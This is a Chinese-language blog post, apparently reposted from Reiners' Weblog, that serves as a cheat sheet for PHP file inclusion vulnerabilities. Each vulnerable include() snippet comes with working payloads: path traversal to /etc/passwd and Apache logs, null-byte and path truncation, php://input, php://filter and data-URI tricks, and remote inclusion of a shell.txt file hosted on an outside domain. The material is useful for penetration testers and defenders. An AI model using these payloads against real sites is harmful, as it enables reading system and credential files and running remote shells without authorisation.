關於PHP文件包含一些漏洞分析

文章簡單的分析了在php文件包含時inlcude的一個漏洞分析，下面希望對大家有點用處哦。

基本的文件包含漏洞:

 代碼如下 復制代碼 <?php include(“includes/” . $_GET['file']); ?>
* 包含同路徑下的文件：
?file=.htaccess
* 路徑遍歷：
?file=../../../../../../../../../var/lib/locate.db
(該文件非常有趣因為它允許你搜索文件系統)
* 包含注入PHP代碼的文件:
?file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)

受限的本地文件包含:

 代碼如下 復制代碼  <?php include(“includes/” . $_GET['file'] . “.htm”); ?>
* 空字符注入(Null Byte Injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目錄(Null Byte Injection):
?file=../../../../../../../../../var/www/accounts/%00
(僅限BSD, 需要magic_quotes_gpc=off,詳細信息here)
*路徑截斷(Path Truncation):
?file=../../../../../../../../../etc/passwd........... …
(詳細信息參見 here 和 here)
* 點號截斷:
?file=../../../../../../../../../etc/passwd……………. …
(僅限Windows, 更多細節參見 here)

基本的遠程文件包含：

 代碼如下 復制代碼

<?php include($_GET['file']); ?>

* 包含遠程代碼(Including Remote Code):

?file=[http|https|ftp]://websec.wordpress.com/shell.txt

(需要 allow_url_fopen=On 和 allow_url_include=On)

* 使用php輸入流(Using PHP stream php://input):

?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)

* 使用PHP過濾函數(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)

* 用於跨站腳本攻擊(Using XSS):

 代碼如下 復制代碼 ?file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)

受限的遠程文件包含漏洞

 代碼如下 復制代碼 <?php include($_GET['file'] . “.htm”); ?>
* ?file=http://websec.wordpress.com/shell
* ?file=http://websec.wordpress.com/shell.txt?
* ?file=http://websec.wordpress.com/shell.txt%23
(需要 allow_url_fopen=On 和 allow_url_include=On)

靜態遠程文件包含漏洞:

 代碼如下 復制代碼

<?php include(“http://192.168.1.10/config.php”); ?>
* 中間人攻擊(Man In The Middle)
(lame indeed, but often forgotten)

來自Reiners’ Weblog。